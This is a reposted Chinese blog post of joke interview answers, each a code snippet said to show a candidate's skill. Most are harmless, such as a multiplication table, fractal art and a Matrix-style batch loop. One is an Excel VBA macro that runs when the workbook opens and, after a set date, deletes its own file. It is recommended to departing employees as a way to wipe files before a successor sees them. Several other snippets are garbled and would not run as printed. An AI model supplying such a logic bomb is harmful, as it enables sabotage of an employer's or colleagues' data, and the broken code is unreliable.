博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
面试官问:请拿出一段体现你水平的代码
阅读量:5876 次
发布时间:2019-06-19

本文共 1665 字,大约阅读时间需要 5 分钟。

专栏 | 九章算法

网址 | www.jiuzhang.com

当面试官问:请拿出一段体现你水平的代码时,你会如何回答?

1.Python迷宫

面试官:你有什么代码作品吗?

候选人:有的,Python语言的代码可以吗?

面试官:都可以

候选人:这就是我平常画的代码,如下

print('\n'.join([' '.join(['%s*%s=%-2s' % (y, x, x*y) for y in range(1, x+1)]) for x in range(1, 10)]))

候选人:是我为孩子写的,打印出来就是99乘法表

候选人:还有 print(''.join(import('random').choice('/\') for i in range(50*24)))

可以打印出迷宫,可以拿来和孩子一起玩游戏

2.代码也可以用来搞艺术

面试官:请拿出一段能体现你水平的代码?

候选人:好的,我带了好几个作品。

面试官:都拿给我看看吧。

$x = 200;

$y = 200;

gd = imagecreatetruecolor(x, $y);

$corners[0] = array('x' => 100, 'y' => 10);

$corners[1] = array('x' => 0, 'y' => 190);

$corners[2] = array('x' => 200, 'y' => 190);

red = imagecolorallocate(gd, 255, 0, 0);

for (i = 0;i < 100000; $i++) {

imagesetpixel(gd, round(x),round(y),red);

$a = rand(0, 2);

x = (x + corners[a]['x']) / 2;

y = (y + corners[a]['y']) / 2;

}

header('Content-Type: image/png');

imagepng($gd);

候选人:运行之后,作品如下

候选人:这是另一个

面试官:这是啥?

候选人:不着急,这是一组图片,还没看完

面试官:......

候选人:还有,还没完,下面这组是关于动物的。

面试官:你应该去应聘画师岗位。

3.离职=删库跑路

面试官:作品带来了吗?

候选人:带了,带了

Private Sub Workbook_open()

If Date >= #12/8/2017# Then

Application.DisplayAlerts = False

MsgBox "不要迷恋哥,哥就是个传说!", Title:="领土所属权!"

With ThisWorkbook

.Saved = True

.ChangeFileAccess xlReadOnly

Kill .FullName

.Close

End With

Else: Exit Sub

End If

End Sub

面试官:那你简单说下这个代码吧

候选人:这个程序适合离职的人,是会自杀的文件,离职时电脑里的文件带不走,又不想让下一个人看见,就可以运行这个代码。只要有人打开文件,程序便会运行,所有文件便随之消失了。

4.作死类型

面试官:下一个可以把你作品拿过来了

候选人:好的,下面这是我的作品

面试官:你这竟一行代码都没写?

候选人:我这个主要展现todo的用法

5.黑客帝国代码雨

面试官:最后一个,可以展示你的代码了

候选人:好的,准备好了,马上开始

@echo off

color 02

:start

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

候选人:这个代码可以帮我们实现黑客帝国代码雨的效果,超级炫酷

面试官内心os: 确认过眼神,都是惹不起的人

欢迎关注我的微信公众号:九章算法(ninechapter)。
精英程序员交流社区,定期发布面试题、面试技巧、求职信息等

转载于:https://juejin.im/post/5cd8d7f2f265da038a1495db

你可能感兴趣的文章
MySQL查询优化
查看>>
【Redis源码分析】如何在Redis中查找大key
查看>>
关于链接文件的探讨
查看>>
android app启动过程(转)
查看>>
Linux—源码包安装
查看>>
JDK8中ArrayList的工作原理剖析
查看>>
安装gulp及相关插件
查看>>
如何在Linux用chmod来修改所有子目录中的文件属性?
查看>>
Applet
查看>>
高并发环境下,Redisson实现redis分布式锁
查看>>
乌克兰基辅一世遗修道院起火 现场火光照亮夜空
查看>>
[iOS 10 day by day] Day 2:线程竞态检测工具 Thread Sanitizer
查看>>
Centos/Ubuntu下安装nodejs
查看>>
关于浏览器的cookie
查看>>
Hyper-V 2016 系列教程30 机房温度远程监控方案
查看>>
国内先进的智能移动广告聚合平台-KeyMob聚合
查看>>
我的友情链接
查看>>
我的友情链接
查看>>
PHP - 如何打印函数调用树
查看>>
js闭包
查看>>